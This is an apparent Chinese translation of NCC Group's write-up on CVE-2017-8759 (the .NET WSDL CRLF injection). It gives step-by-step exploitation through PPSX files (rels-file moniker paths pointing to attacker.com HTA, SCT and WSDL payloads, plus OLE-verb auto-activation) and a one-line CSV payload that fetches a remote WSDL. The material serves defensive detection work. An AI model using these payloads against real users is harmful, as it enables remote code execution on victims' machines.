nccgroup/cve-2017-8759NCC Group对CVE-2017-8759的分析与利用，以及进一步的改进。
本仓库包含 CVE-2017-8759（Microsoft PowerPoint）的示例利用代码，并描述了类似漏洞过去是如何、以及未来可能如何通过相同技术被利用的。
发布本仓库的目的是强调防御者目前可能尚未意识到的替代利用技术。通过强调这些替代技术，我们希望帮助防御者实施稳健的检测，并避免误报（例如将其他 moniker 利用错误识别为 CVE-2017-0199）和漏报（例如只关注 RTF 检测）。
早在四月份，当我听说一个新的未修补漏洞正在野外被利用时，我尝试重新创建该利用，以便在漏洞公开之前预先制定检测规则。然而，当时我手头只有 FireEye 和 McAfee 博客文章中对漏洞的描述。由于缺乏公开细节，这最终导致我以（事实证明是）与野外看到的"RTF URL Moniker"利用完全不同的方法利用了该漏洞。
大约一个月后，Haifei Li 在他的 SyScan360 演讲中强调了第二个漏洞（又名"PPSX Script Moniker"），该漏洞是他于 2017 年 1 月发现并报告的。这个漏洞也在同一个 CVE-2017-0199 补丁中被修复，但被利用时（无论是作者本人，还是后来在野外）使用的是 PPSX 文件格式。到目前为止，我仍未听说过任何通过 PPSX 使用 URL moniker 漏洞的野外攻击——但由于这两个漏洞是在同一个 CVE 下被修复的，围绕这些利用的检测一直存在（并且仍然存在）一些混淆（稍后会详细说明）。
快进到 2017 年 9 月，FireEye 又发现了另一个利用 Microsoft Word 中 RTF 格式的漏洞。这促使我重新审视我之前"PPSX URL Moniker"利用，以调查新的"SOAP moniker"漏洞是否也可以用相同的 PPSX 技术利用。
如上所述，之前的漏洞（CVE-2017-0199）实际上是两个独立的漏洞，微软在同一个 CVE 编号下对它们进行了修补。第一个（又名"URL moniker"漏洞）通过 RTF 被利用，而第二个（又名"script moniker"漏洞）实际上使用了一种完全不同的技术，并通过 OOXML 格式（特别是 PPSX）被利用。
如前所述，OOXML 技术并非 script moniker 漏洞所特有，它也可以用来利用"URL moniker"、"Script moniker"以及新的"SOAP moniker"漏洞。
OOXML 中的利用相当直接，利用了一些技巧来让易受攻击的对象自动激活。首先我将介绍 URL moniker 利用，然后解释如何将其更新以适用于 script 和 soap moniker（未来可能还有更多）。
首先必须嵌入一个指向文件的链接（称为 StdOleLink 或 OLE2Link）。在我的利用中，我使用了一个指向 PowerPoint 文件的链接——如下所示。稍后需要这个链接来激活 moniker。
链接放置好后，需要修改路径以包含 moniker 字符串。对于"URL moniker"漏洞，只需直接添加一个指向 HTA 文件的 URL（即"http://attacker.com/evil.hta"）。对于 Script moniker 版本，可以使用"script:https://attacker.com/evil.sct"字符串。链接对象的文件路径存储在以下位置：
ppt\slides\_rels\slide1.xml.rels
只需将其更改为 moniker 字符串，就足以在链接对象被激活时触发漏洞。但是，除非你使用另一个技巧，否则这不会自动发生。
为了自动激活对象，你可以使用所谓的"OLE Verb"（OLE 谓词）。简而言之，它会使 PowerPoint"激活"对象，调用 IMoniker::BindToObject() 方法，最终导致你的代码被执行（取决于 moniker，此后会走不同的路径）。
要使用 OLE Verb，只需选中嵌入的对象并前往：
Animations -> Add Animation -> OLE Action Verbs -> Open
创建 OLE Verb 动画后，你可以选择"Start: with previous"（与上一动画同时开始），以确保幻灯片放映一开始就激活对象。
此时，如果你选择将文档保存为 PPTX 并打开它，系统会提示你更新链接。这在利用场景中是不可取的。
为了解决这个问题，你可以将文件保存为 PPSX（PowerPoint 幻灯片放映）文件。这将导致打开文件时自动开始放映幻灯片（从而触发 OLE Verb 来执行你的代码）。
如 FireEye 博客文章中所述，该漏洞实际上存在于 .NET 框架中，而不是 Office 本身。这是由于在解析包含多个地址定义的 WSDL 文件时存在代码注入问题。如果注入了 CRLF 序列，就可以向生成的 c# 文件中添加任意代码，该文件随后会被编译为 DLL 并由 Office 应用程序加载。
该漏洞本身存在于 System.Runtime.Remoting 的 WsdlParser 类中的 IsValidUrl 方法中。在 CVE-2017-8759 补丁之前，此方法未检查 CRLF 字符，只是返回未净化的字符串（在确保字符串被正确引用之后），然后将其写入 .cs 文件以供 csc.exe 编译。这意味着，如果攻击者传入包含 \r\n 的 URL，他们就可以向生成的 C# 文件中注入任意代码。CRLF 注入之所以有效，是因为通常当解析包含多个地址定义的 WSDL 文件时，PrintClientProxy 方法会尝试注释掉后续的定义，如下所示。
未修补的 IsValidUrl：
PrintClientProxy：
这里的问题在于，在将第二个地址 URL 附加到注释行之前，仍然会对它调用 IsValidUrl。如果攻击者在第二个地址定义中添加 CRLF 字符，当代码被 IsValidUrl 解析时，他们就可以跳出注释行并注入自己的 C# 代码。
在 CVE-2017-8759 补丁之后，WsdlParser 类现在包含一个名为 TransliterateString 的新方法。现在当调用 IsValidUrl 时，代码首先检查布尔值 AppSettings.AllowUnsanitizedWSDLUrls 是否被设置。如果设置为 true，则代码走与补丁之前相同的路径（允许 CRLF 注入）。但是，如果设置为 false，则会调用新的 TransliterateString 方法。这个新方法只是将所有非字母字符编码为转义后的 unicode，从而确保无法注入换行符。
修补后的 IsValidUrl：
TransliterateString：
为了演示该补丁，我用 C# 创建了一个简单的测试工具，并尝试解析包含 CRLF 字符的字符串。输出如下所示。注意，当调用修补后的方法并且 AllowUnsanitizedWSDLUrls 设置为 false 时，字符串现在会被编码。
在调查如何利用此漏洞时，我创建了一个测试工具来测试在 Office 外部的代码执行。为此我使用了 JScript 和 GetObject 方法，不过你也可以使用 soapsuds.exe。我使用恶意软件样本中的 WSDL 文件对其进行了测试，以研究其工作原理并确认漏洞。
一旦我让利用在 GetObject 下正常工作，我就像之前演示的那样修改了 rels 文件，添加了一个 soap moniker，格式为"soap:wsdl=http://attacker.com/evil.whatever"。
创建利用后，我将其上传到 Virus Total（和之前的样本一样），结果令人惊讶。结果显示它只被一个杀毒引擎检测到，并且被错误地识别为 CVE-2017-0199。我上传的另一个样本似乎也被标记为 CVE-2017-0199。考虑到它与之前的利用有相似之处，这似乎可以理解，但有人担心这可能会导致混淆，或者在最坏的情况下，新发现的 moniker 利用会因被误认为是旧的、已修补的漏洞而被忽略。
首先在与利用文件相同的文件夹中在本地启动一个 Web 服务器：
python -m SimpleHTTPServer 80
现在打开 exploit.ppsx 文件。如果一切顺利，你应该会看到 PowerPoint 从你的本地文件服务器获取 logo.png 和 w00t.hta，并且 calc.exe 会被运行。
在 Twitter 上发布关于 PPSX 利用的消息后，Jacob Soo 联系了我，建议我尝试在 Microsoft Excel 中利用该漏洞。我试了一下，果然，他说得对——我只需要一次提示就能弹出 calc.exe。
这很有趣，正如之前指出的那样——CSV（和 SLK 文件）不会触发受保护视图。这意味着，当用户从互联网位置收到 RTF、PPSX 或 CSV/SLK 文件时，看到的提示数量完全相同（因为前者会触发受保护视图）。此外，由于 CSV 文件是纯文本且通常相对无害，它们经常能顺利通过外围防御（如 Web 代理或电子邮件垃圾邮件过滤器）。
在 Excel 中利用此漏洞就像包含一个指向 WSDL 文件的链接一样简单。请注意，在下面的示例中，我们使用的是 ProgID "GC"（仅仅因为它是我能找到的最短的），但为了激活 moniker，可以使用任何有效的 ProgID。
=GC|'soap:wsdl=https://git.io/v5DMF '!''''
将上述字符串保存为 CSV 就足以利用该漏洞——短到可以直接发推文！此外，由于其简短性，创建检测签名更加困难（虽然显然不是不可能），因此我觉得值得向防御者强调这一点，以便今后能够识别基于 Excel 的攻击。
微软于 2017 年 9 月 12 日为此漏洞发布了补丁。
Florian Roth 和 Security Doggo 已经发布了一些针对 CVE-2017-8759 变种的 Yara 规则。
我还创建了：